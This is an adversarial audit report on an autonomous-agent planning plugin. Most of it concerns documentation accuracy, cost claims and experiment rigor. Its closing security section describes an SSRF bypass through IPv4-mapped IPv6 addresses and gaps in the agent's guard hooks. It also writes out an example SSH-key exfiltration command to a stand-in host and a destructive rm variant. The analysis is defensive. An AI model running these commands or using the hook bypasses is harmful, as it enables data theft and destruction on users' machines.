voyage/docs/devils-advocate-results.md

Devil's-advocate results — adversarial cold audit of Voyage

Run: S14, 2026-06-18. Method: Dynamic Workflow (Workflow tool), 13 agents @ effort: high, Opus 4.8. Shape: 6 adversarial dimensions (D1–D6), each attack (strongest case AGAINST) → rebut (steelman defense → STANDS/WEAKENED/REFUTED) → 1 synthesis. ~905k subagent tokens, 9.3 min. Plan: docs/devils-advocate-plan.md. Scope: audit only — findings + recommendations, NOT an implementation session. Run ID wf_4af87c2f-d4e.

Read this caveat first. This is a cold, hostile audit that was instructed to prove Voyage is over-engineered/wrong/unmaintainable, then to rebut itself honestly. Verdicts are the rebuttal pass's, not gospel. The audit caught a factual error in one of its OWN findings during rebuttal (D5 "0 refs" → REFUTED), which is a reminder that some cited file:line counts from the attack agents may be imprecise. I (main context) independently re-verified the load-bearing MAJOR claims — see the Verification log at the bottom. Everything else is reported as the audit found it.

---

Bottom line (overall verdict)

Voyage survives as a functioning, disciplined, but over-documented and under-measured plugin. It is not fraudulent or broken. But its self-description is materially inaccurate, and its flagship value proposition is unproven where it was actually tested. The strongest honest charges are concentrated and cheaply fixable:

1. The README sells "cheap Sonnet swarms" while every one of the 24 agents ships as Opus — on a section marketed as "observable in the code, not aspirations."
2. The headline counts are stale by up to 6× (109 vs 683 tests, 23 vs 24 agents, 5 vs 7 hooks) and unguarded by the doc-consistency test that exists to prevent exactly this.
3. The NW2 "POSITIVE" verdict rests on a single un-archived bake-off whose raw per-run data was never committed and whose primary fidelity metric actually failed and was re-derived post-hoc.
4. The brief PUBLIC-CONTRACT framing defense is bypassable by writing a smaller version number (brief_version: 2.1).

Against that, the plugin shows genuine engineering hygiene the attack under-credited: the dormant synthesis-agent is a clean measured-and-declined prune-in-place (the opposite of accretion); the EVALUATE-parked topology decisions are honestly staged, not frozen on a dead premise; the auto-mode classifier risk was discovered-and-priced, not ignored; and the framing BLOCKER does hard-fail even in soft mode.

The deepest problem is not over-engineering — it is an unaudited scoreboard. A plugin whose entire pitch is contract-conformance and filesystem-validated rigor cannot keep its own test count, agent count, model claims, and version references straight — and, tellingly, its author did not dogfood it on its own upgrade. Ship-worthy machine; the docs need a truth-pass and the central context-engineering claim needs either a real measurement or a humbler sentence. Crucially, the audit never tested whether the happy path produces good plans — the question that matters most remains open (see Blind spots).

---

Survivors — ranked by severity × actionability

Critiques that STAND or are WEAKENED-but-real after the rebuttal pass. (Severity = residual after best defense.)

MAJOR × HIGH actionability — fix first

#	Finding	Dim	Verdict	Evidence (verified ✓)
1	Cost claim is false by default. README sells "Sonnet runs exploration/review swarms / front-loads cheap Sonnet work" in 6 places, but all 24 agents hardcode model: opus and trekplan.md concedes sub-agents are "still pinned to opus." Sold under "observable in the code — not aspirations."	D6/D1	STANDS	README.md:195,223,266,785,804,857; all 24 agents/*.md model: opus ✓; trekplan.md:922,968
2	README hard counts stale & unguarded. Architecture block: 23 agents (actual 24), 5 hooks (actual 7 scripts / 6 events), 109 node:test cases (actual 683, a 6× miss on the line that pitches "npm test is the fork-readiness gate").	D6	WEAKENED	README.md:804,807,809 ✓; npm test = 683/681/2 ✓
3	Bake-off data never committed. NW2 "POSITIVE" cites a 6-run token/wall/finding table + jaccard ladder (0.41/0.71/0.86/1.00), but no per-run JSON (a1.json..b3.json) exists in repo or git history. bakeoff-fidelity.mjs requires them as input → the numbers cannot be regenerated, audited, or falsified.	D2	STANDS	scripts/bakeoff-fidelity.mjs:17-19,98-101; docs/T2-bakeoff-results.md:131-135; f7c8aa4 stat
4	Self-reported test count wrong. STATE.md:43 + the audit plan claim 697 (695 pass); runner reports 683 (681 pass, 2 skip). Same unaudited-self-description class the plugin's conformance discipline exists to catch.	D1/D6	STANDS	STATE.md:43; npm test ✓
5	Three reference-only orchestrator agents ship with an Agent tool grant while their bodies declare "reference, not a runnable sub-agent" and no command invokes them. A harness could dispatch an agent the plugin says must never run. Trivial, untaken fix.	D4	STANDS	agents/{planning,research,review}-orchestrator.md; review-orchestrator.md:226-227; trekreview.md:33
6	plan-critic "9 dimensions" wrong in 3 places (README.md:223,266; CLAUDE.md:46) — agent defines 10 numbered dimensions, the 10th a hard gate (manifest quality). Unpinned.	D6	STANDS	agents/plan-critic.md:170
7	README self-contradicts brief-reviewer dimension count: README.md:158 says "five dimensions" while README.md:15 headlines the 6th (memory alignment) as the v5.5 flagship; agent + CLAUDE.md say six. Exactly the consistency defect brief-reviewer exists to flag.	D6	STANDS	README.md:15,158; agents/brief-reviewer.md:39,155; CLAUDE.md:42
8	Stale model string in a live contract: trekplan Phase 8 inline-sealing rationale cites "Opus 4.7" while the plugin elsewhere states opus = Opus 4.8. Sealing logic is sound; only the parenthetical is wrong.	D4	STANDS	trekplan.md:574; CLAUDE.md:56
9	PUBLIC-CONTRACT versioning cites a non-existent release: HANDOVER-CONTRACTS.md:46,99 + CLAUDE.md:9 say "v5.4 froze the brief_version 2.1 baseline," but v5.2–5.4 were never shipped (CHANGELOG jumps 5.5.0→5.1.1). No consumer stranded (compat keys off brief_version), but a doc trading on contractual precision cites a release nobody can install.	D2	WEAKENED	CHANGELOG.md:7-9,63; HANDOVER-CONTRACTS.md:46,99; CLAUDE.md:9

MAJOR × MEDIUM/LOW — structural, need design not just edits

#	Finding	Dim	Verdict	Evidence
10	Framing enforcement is producer-elective. All three brief_version 2.2 framing layers are wrapped in atLeast22; there is no minimum-version gate (grep confirms); 2.0/2.1 briefs are blessed as fully valid. Any producer ships an intent-misaligned brief by declaring 2.1 and the entire framing defense evaporates with no warning. The contract advertises producer-agnostic enforcement but enforces only against the one producer (/trekbrief) that hardcodes 2.2.	D3	STANDS	brief-validator.mjs:123-140; HANDOVER-CONTRACTS.md:101
11	Memory-alignment gate is a no-op by default. Score-5-on-no-context is indistinguishable to the Phase-4e gate from score-5-on-verified-alignment; whether memory is gathered is an unbacked LLM-judgment step with no validator backstop. In the common (memory-less / external-producer) case the gate always passes. Defensible as portability (fail-open), but a passing score is not evidence of alignment.	D3/D1	WEAKENED	brief-reviewer.md:168-169; trekbrief.md:492-497,541-544
12	Layer 1 framing value is self-attested, enum-validated only. No cross-check against reality; its triangulation partner (Layer 2 memory) is inert in the no-memory case → framing is an unchecked assertion carried as pipeline source-of-truth. The "no default / unskippable" design blunts the tired-one-click vector but doesn't make the self-label true.	D3	WEAKENED	trekbrief.md:114-130; brief-validator.mjs:110-116
13	NW2 "POSITIVE" = +4.4% tokens, +54% wall-time, and the one cited upside ("frees main context") never measured. The bake-off captured subagent tokens (the axis a coordinator-adding Workflow can only tie-or-lose); Δ main-context (the decision-relevant quantity) was left unmeasured. The +15% POSITIVE bar was pre-registered (so not goalpost-moved), but the win rests on unquantified benefit.	D1/D2	WEAKENED	T2-bakeoff-results.md:152-170
14	NW2 fidelity verdict salvaged post-hoc. Pre-registered PRIMARY metric (triplet-level finding-set equivalence) scored 0/9 strict-equivalent, 0.41 jaccard; POSITIVE reached by reporting the looser (file,rule_key)=0.71, labeling the 0/9 a "metric-calibration artifact," then recommending future metrics use the coarser granularity that cleared. Within-arm control makes "artifact" plausible, but it was decided after seeing the result.	D2	WEAKENED	T2-bakeoff-results.md:131-135,172-185; T2-cc27-workflow-substrate.md:170
15	Context-Engineering flagship unproven where tested. The one experiment (NW3) measured Δ main-context ≈ 0 and shipped dormant. The Δ=0 is real but narrowly scoped to delegating only the Phase-7 read; the actual fan-out relief — the claim that matters — was never measured. The swarm topology's central justification has no positive measurement behind it, only a structural argument + a declined experiment.	D1	WEAKENED	T1-synthesis-poc-results.md:16-30,88-103
16	Voyage was not used to build Voyage. Much of the v5.5 arc was research/meta-work the pipeline doesn't target (blunts it), but genuinely pipeline-shaped code sub-tasks (armB script, synthesis schema, fidelity libs) were also hand-orchestrated. Revealed-preference signal for those is real.	D1	WEAKENED	devils-advocate-plan.md:8; W1/T1/T2 docs

MINOR — cheap correctness / leanness nits

#	Finding	Dim	Verdict	Evidence
17	Prose-pin bloat. doc-consistency.test.mjs (67 tests, ~9.5% of suite) is predominantly .includes/.match on free prose, churned across 26 commits, flips red on benign rewording. The structural sub-tests (row-count == file-count, command coverage) are genuine; the headline test-count over-credits coverage.	D5/D1	WEAKENED	tests/lib/doc-consistency.test.mjs:1-6
18	Chartered auto/bypass classifier check skipped. "Classifier interference: 0" was reported satisfied, but the auto/bypass-mode re-run that W1 made an explicit guard was skipped on a technicality ("mode not settable in-session") and footnoted rather than gating. The mode that matters for headless trekreview remains untested.	D2	STANDS	T2-bakeoff-results.md:146-149; W1-narrow-wins-plan.md:29-32
19	NW3 decline dressed in pseudo-quant scaffolding. The faithful Δ≈0 is genuinely structural (holds with no tokenizer), but it is surrounded by a sweep table + break-even + a "15% adopt-floor" that contradicts the plan's 30% bar, over a chars/4 estimate with a swept (never API-measured) BASE. Conclusion sound, scaffolding inconsistent.	D2	WEAKENED	synthesis-measure.mjs:41-42; T1-synthesis-poc-results.md:12-14,94; W1-narrow-wins-plan.md:17
20	Experiment scaffolding outlived its experiment. 5 of 7 scripts/ (~89KB, incl. synthesis-measure.mjs for the declined agent) are one-off PoC/measurement code on no command path, each referenced only by its own test, carrying 27 live tests. Partly defensible as reproducibility artifacts; the global continuity convention says such history belongs in git.	D5	WEAKENED	scripts/synthesis-measure.mjs:2-3; tests/scripts/synthesis-measure.test.mjs
21	CHANGELOG cross-doc wart. CHANGELOG.md:440 advertises "711 pass … +5 Playwright e2e" while README.md:595 documents Playwright e2e as removed in v5.0.0. (The "no number matches reality" framing was refuted — historical snapshots legitimately diverge from HEAD.)	D6	WEAKENED	CHANGELOG.md:440; README.md:595

---

REFUTED — critiques that did NOT survive the rebuttal

These are recorded so they are not re-litigated. Each was a plausible attack that the defense (and, where noted, my own check) genuinely defeated.

1. "8 of 14 docs are dead scratch; the decision-matrix has 0 inbound refs" (D5). False on its lead exhibit. cc-upgrade-2.1.181-decision-matrix.md has 9 inbound refs incl. three production command files (trekplan, trekbrief, trekresearch) + three orchestrator agents + CHANGELOG — the most-referenced of the eight. Only devils-advocate-plan.md (the just-created S14 plan) cleanly matches "0 inbound." A much smaller "a couple of decision docs could move to git" survives at MINOR.
2. "Orchestrator descriptions assert the FALSE premise as STANDING rationale" (D4). The descriptions frame it as discharged history in the same sentence-group ("Historically… As of CC 2.1.172 sub-agents CAN spawn…, so a redesign is under evaluation") — exactly what CC-01 prescribed (replace with truth + forward pointer). A dispatching model is steered away from spawning, not toward the falsehood. The duplication is a real but MINOR doc-style critique (→ became survivor #5's narrower form).
3. "The dormant synthesis-agent is ceremony spent on sand" (D1/D5). It is the strongest counter-example: built → measured (Δ≈0) → found NEGATIVE → deliberately not wired, with a stated re-activation trigger and a schema-backed, tested contract. Disciplined negative-result hygiene. The residual (it still ships in the distributable, inflating counts) is a MINOR leanness nit.
4. "The auto-mode classifier is a NEW liability the plugin is trading into" (D4). Inverts the evidence: the plugin discovered and logged the risk via a cheap probe in a path it has not adopted, priced it as a cost against delegation, and declined the trade. Verification discipline, not a hidden liability.
5. "Soft-mode read means framing/TL;DR add no enforcement at the boundary" (D3). Refuted for framing specifically: BRIEF_MISSING_FRAMING is pushed unconditionally to errors[] (no strict/soft branch), and soft mode means "warnings don't block, errors DO" — so a 2.2 brief missing framing hard-fails even in soft read. (The broader "external 2.0/2.1 producer gets nothing" point survives as survivor #10.)
6. "No published test count matches reality" (D6/D2). Half-refuted: a CHANGELOG is an append-only point-in-time log; historical snapshots (503/516/518/608/711) correctly diverge from current 683. The genuine residual is the narrow Playwright cross-doc contradiction (→ #21).
7. "NW2's +15% bar was set AFTER the run to make a tie pass" (D2). The +15%/+30% thresholds were pre-registered before the run, which predicted token cost "≈ wash." Not a moved goalpost. What survives is the distinct, separately-filed point that the cited upside was never quantified (→ #13).

---

Top changes — prioritized

1. FIX THE COST CLAIM (MAJOR × HIGH). Either flip exploration/review agent frontmatter to model: sonnet (makes the README true by default — the cheaper fix a cost-conscious user expects) or rewrite the 6 README claims to state Opus-by-default and Sonnet requires --profile economy / phase_signals.model. Add a doc-consistency pin that fails if README says "Sonnet exploration" while agent files say opus.
2. FIX THE HARD COUNTS (MAJOR × HIGH). README → 24 agents / 7 hooks / 683 tests; correct STATE.md 697→683 and the plan's 697. Add doc-consistency pins for agent-count, hook-script-count, and a tolerance-banded or dynamically-computed test-count so the Architecture block cannot silently drift.
3. COMMIT OR DOWNGRADE THE BAKE-OFF DATA (MAJOR × HIGH). Commit the raw arm outputs (a1.json..b3.json) under tests/fixtures/bakeoff-rich/runs/ + a test that re-derives the medians/jaccards — or relabel "POSITIVE" to "defensible as opt-in, single un-archived run."
4. ADD A MIN-VERSION GATE OR DOCUMENT THE HOLE (MAJOR × MEDIUM). Optional --min-brief-version at the /trekplan + /trekresearch boundary (warn when an older brief sidesteps framing); document in HANDOVER-CONTRACTS.md that pre-2.2 briefs receive zero framing enforcement.
5. MAKE THE MEMORY GATE HONEST (MAJOR × MEDIUM). Emit a memory_alignment.status distinguishing "N/A (no memory)" from "verified aligned"; document that in memory-less environments the wrong-premise defense is Layer 1 + Layer 3 only.
6. STOP OVERSELLING THE FLAGSHIP (MAJOR × MEDIUM). Either measure the fan-out's real main-context relief with a tokenizer/API run, or soften README/CLAUDE.md to "asserted, not yet measured." Relabel NW2 from POSITIVE to opt-in-defensible and disclose its primary fidelity metric failed and was re-derived post-hoc.
7. CHEAP CORRECTNESS NITS (MINOR × HIGH). Drop the Agent grant from the three reference-only orchestrator agents; plan-critic 9→10 dimensions; README brief-reviewer 5→6 dimensions; trekplan "Opus 4.7"→"4.8"; replace the non-existent "v5.4" contract-freeze references with "v5.5.0."
8. PRUNE PROSE-PIN BLOAT (MINOR × MEDIUM). Keep the structural cross-file invariant tests; prune pure phrase-pins that break on reword; report behavior-test count separately from prose-pin count.
9. RUN THE CHARTERED AUTO/BYPASS CLASSIFIER CHECK (MINOR × MEDIUM) before treating classifier interference as retired — or move it from "metric satisfied" to "open residual."

---

What this audit might have missed (completeness critic)

The audit was instructed to critique its own plan. It did:

1. The 6 dimensions are introspection-biased. D1/D2/D4 all interrogate the v5.5 self-measurement arc (synthesis, bake-off, decision matrix) and overlap massively — three dimensions largely re-attack the same NW2/NW3/CC-26/27 docs. This over-weights recent meta-work and under-weights the product surface a user actually touches. There is no dimension auditing whether the core happy path (/trekbrief → /trekplan → /trekexecute on a real feature) produces correct, useful plans/code. The audit proved the docs are inconsistent and the experiments were narrow — but never tested whether the pipeline WORKS end-to-end. That is the question a prospective user cares about most, and it remains open.
2. No security / safety dimension. This plugin spawns autonomous agents, has --gates autonomy primitives, OTLP export with stated SSRF mitigation, and hooks that gate Bash/Write. None was audited for actual safety (does the SSRF mitigation work? do the pre-bash/pre-write hooks actually block? can a malicious brief drive headless execution?). For an autonomous-execution plugin, the highest-consequence blind spot.
3. No empirical cost measurement. The entire cost debate (D1/D6) was argued from frontmatter strings and README prose, never from the trek*-stats.jsonl the plugin itself publishes. The single most decision-relevant number (what one /trekplan run actually costs on Opus vs Sonnet) was never pulled from real run data — so the cost critiques remain inferential.
4. The audit accepted the plugin's own metrics (Δ main-context, jaccard, verdict-match) as the terms of debate, then critiqued within them. It never asked: are these the right metrics at all? Plan quality (does the adversarial review catch real bugs?) was never measured by anyone — the whole value proposition is assumed by both attack and defense.
5. Trust in unverified citations. Refuted/weakened verdicts were taken largely on trust where the agents couldn't independently re-verify every line. The D5 "0 refs" error that was caught suggests other cited counts may also be imprecise. (Main context independently re-verified the load-bearing MAJORs — see below — but not all ~1672 lines of trekexecute or every cited doc line.)
6. No user-facing ergonomics / onboarding dimension. 7 commands, 24 agents, 14 docs, a profile system, --gates, brief_version axes — the cognitive load on a new operator is itself a product risk that revealed-preference (the author used bespoke docs) hints at, but the plan never made first-class.
7. The audit conflates "documentation defect" with "product defect" throughout. Most MAJOR survivors are doc-accuracy issues — real and cheap to fix, but the plan never separated "the docs lie" from "the machine is broken," leaving the genuinely important question (is the runtime sound?) unanswered.

---

Verification log (Verifiseringsplikt)

Independently re-verified by main context this session (not taken on the agents' word):

Claim	Method	Result
Test count is 683/681/2, not 697/695/2	npm test (full run)	✓ 683 tests, 681 pass, 0 fail, 2 skipped — STATE.md:43 + plan are wrong
All exploration/review agents are Opus, none Sonnet	grep -h "^model:" agents/*.md | sort | uniq -c	✓ 24 model: opus, 0 sonnet
Agent file count is 24 (README says 23)	ls agents/*.md | wc -l	✓ 24
README sells "Sonnet" exploration/review	grep -n Sonnet README.md	✓ lines 195, 223, 266, 785, 857 + 804 "(sonnet for exploration + review…)"
README hard counts stale	grep -nE "specialized agents|node:test|hooks" README.md	✓ 804 "23 specialized agents", 807 "5 hooks", 809 "109 node:test cases"

Taken from the workflow agents, spot-checked but NOT exhaustively re-read by main context: the internal file:line citations in docs/T2-bakeoff-results.md, docs/T1-*, lib/validators/brief-validator.mjs (the atLeast22 guard + unconditional BRIEF_MISSING_FRAMING), agents/brief-reviewer.md, commands/trekbrief.md, and the absence of a1.json..b3.json in git history. These are reported as the audit found them; they are consistent with the verified anchors above but were not each independently confirmed line-by-line.

Known imprecision: the attack agent for D5 asserted cc-upgrade-2.1.181-decision-matrix.md has "0 durable refs"; the rebuttal pass found 9 and REFUTED it. Treat raw counts inside individual attack findings with that caution.

---

Scope note

This is an audit — findings + recommendations only. Per the plan's scope guard and the operator's run mode, no Voyage code or docs were changed on the basis of these results (the one exception: STATE.md's stale 697 test count is corrected at session end, since STATE is continuity state, not plugin surface, and propagating a now-verified-wrong number would be its own defect). Acting on the top changes above requires a fresh operator go-ahead.

---

Addendum — post-audit verification of finding #1 (2026-06-18, operator-prompted)

The operator challenged finding #1 ("README sells cheap Sonnet but agents are opus"), correctly recalling that Voyage has a per-phase model-selection system (profiles + phase_signals.model). Main context verified the actual model-resolution path against the code. Result: the operator's recollection is right, the finding still STANDS, and verification surfaced a NEW defect the audit missed.

1. The per-phase system is real. lib/profiles/resolver.mjs#resolveProfile() + phase-signal-resolver.mjs resolve a model per phase (= command). At Agent-spawn sites, the resolved phase model is used if set; otherwise the agent's model: opus frontmatter (trekplan.md "Cost" hard rule). The model is uniform per phase (orchestrator + swarm share it) — there is no mechanism to run the orchestrator on opus and the swarm on sonnet within one phase, so the README cost-prose's "Opus orchestrates / Sonnet runs the swarms" split is not an achievable configuration, independent of the count defect.

2. No default profile makes exploration/review Sonnet. balanced and premium both set plan → opus and review → opus (verified: lib/profiles/balanced.yaml, premium.yaml). Only opt-in economy sets plan/review → sonnet. So under every default-candidate profile the exploration AND review swarms run on Opus. README's unconditional "6–8 Sonnet exploration agents" / "Sonnet runs the exploration and review swarms" (195/223/266/785/857) is false for every default. Finding #1 STANDS and is reinforced.

3. NEW defect (audit missed it): code default profile ≠ documented default. resolveProfile() returns { profile: 'premium', profile_source: 'default' } (resolver.mjs:156; docstring: "Order: --profile flag > VOYAGE_PROFILE env > 'premium'"). But README.md:759 ("balanced (default)") + the lookup-order list + docs/profiles.md:15,18,121 ("balanced is the v4.1 default", "the default tier is locked") all say the default is balanced. Code says premium; all docs say balanced — a real code-vs-docs contradiction with cost/behavior impact (premium runs brief+execute on opus and turns external research ON; balanced does not), unguarded by doc-consistency.test.mjs. Severity: MAJOR. Most likely resolution: docs reflect design intent (balanced), so the code default is the bug — but confirm against git history before fixing.

Corrected fix for finding #1 (supersedes "flip vs rewrite"): (a) resolve the default-profile mismatch so code + README + docs/profiles.md agree on one default (likely balanced); (b) rewrite the README cost narrative to describe the actual per-phase-profile mechanism (default runs plan/review on Opus; economy runs all-Sonnet; no orchestrator-vs-swarm split); (c) add doc-consistency pins for the default-profile name and the per-phase model claims. This keeps Opus-as-default and does not require flipping any agent frontmatter.

---

S21 resolution — Blind spot #2 (security/safety) audit (2026-06-19, operator-gated)

Blind spot #2 ("no security / safety dimension") was the audit's self-named highest-consequence gap. Operator scope for this session was security-core: fix genuine defects, honestly record the rest. The four sub-questions and their dispositions:

#	Question	Verdict	Disposition
1	Does the SSRF mitigation work?	⚠️ one real, bounded bug	Literal-encoding bypasses I first suspected (decimal 2130706433, hex 0x7f000001, octal, trailing-dot 127.0.0.1.) are already caught — the WHATWG URL parser canonicalizes them to dotted-decimal before validateOtlpEndpoint classifies. The genuine gap: IPv4-mapped IPv6 literals (::ffff:127.0.0.1, ::ffff:192.168.x, ::ffff:169.254.169.254) render as ::ffff:HHHH:HHHH and were matched by neither the loopback set, the RFC-1918 regex, link-local, nor HARD_BLOCKED_HOSTS → they passed over https and would reach loopback / private / cloud-metadata. The control's own comment promised to "PERMANENTLY block" metadata; the mapped form defeated it. FIXED (see below).
2	Do pre-bash / pre-write hooks actually block?	✅ yes, for their target patterns	bash-guard + path-guard tests confirm every BLOCK rule fires. Verified residuals (by design — advisory rails, fail-open, defense-in-depth, NOT a security boundary): (a) pre-write-executor is wired to matcher: "Write" only — Edit / NotebookEdit and echo >> ~/.zshrc via Bash bypass it (Edit can only modify pre-existing sensitive files, not create them; Bash-redirect is the larger hole); (b) pre-bash-executor regexes have completeness gaps (e.g. rm -rf --no-preserve-root / slips the rm-pattern). Not fixed: closing every regex/tool gap is an unbounded rabbit hole, and CC's own per-Bash permission prompt is the primary gate; these hooks are the second layer.
3	Can a malicious brief drive headless execution to harm?	✅ catastrophe-blocked, exfil NOT blocked	The hooks stop catastrophic local destruction (rm -rf /, mkfs, fork bombs, raw-device writes). They do not prevent data exfiltration — curl --data @~/.ssh/id_rsa https://evil.example is not a blocked pattern. This requires the operator to accept a malicious brief and run it headless (no human gate). Documented as an inherent limit: a regex-hook layer cannot fully sandbox an autonomous executor. No code change.
4	Chartered auto/bypass classifier check (Survivor #18)	📝 honest-residual recorded	The W1 charter made an auto/bypass-mode re-run an explicit guard (trekreview runs headless under those modes); the T2 bake-off skipped it on a true technicality (permission mode is operator-set, not settable in-session) and footnoted rather than gating. Per recommendation #9, moved from "metric satisfied" → "open residual" in T2-bakeoff-results.md §3 (guarded by a new doc-consistency pin). Not runnable from this interactive session; stays open until measured from a genuinely headless run.

Code fix (finding #1). lib/exporters/endpoint-validator.mjs: added mappedV4(host) — after IPv6 bracket-strip, an IPv4-mapped literal (::ffff:a.b.c.d dotted or ::ffff:HHHH:HHHH hex-pair) is decoded to its embedded dotted-decimal IPv4, and every guard (loopback / RFC-1918 / link-local / HARD_BLOCKED) classifies on that. TDD: 4 new tests in tests/hooks/otel-export-validators.test.mjs (failing-first) — mapped loopback → LOOPBACK_REJECTED, mapped RFC-1918 → RFC1918_REJECTED, mapped metadata → HARD_BLOCKED (even with VOYAGE_OTEL_ALLOW_PRIVATE=1), and mapped public ::ffff:8.8.8.8 still valid over https (no over-block). Threat model remains narrow (endpoint is operator-set via VOYAGE_OTEL_ENDPOINT; export is opt-in via VOYAGE_EXPORT_MODE, default off; a brief cannot set env) — the fix closes a control under-delivering its documented contract, not a brief-reachable hole.

Forward-pointer (FLAGGED, NOT done — adjacent doc/code defect found while auditing the autonomy surface; this is S21b, not S21 security-core): operations.md:15 claims autonomy-gate.mjs runs the state machine idle → approved → executing → merge-pending → main-merged; the actual code states are idle → gates_on/auto_running → paused_for_gate → completed, and the --gates {open|closed|adaptive} table doesn't match the boolean (--gates true|false) the CLI shim and command docs use. Recommend a truth-pass + anti-false-claim pin in a follow-up session.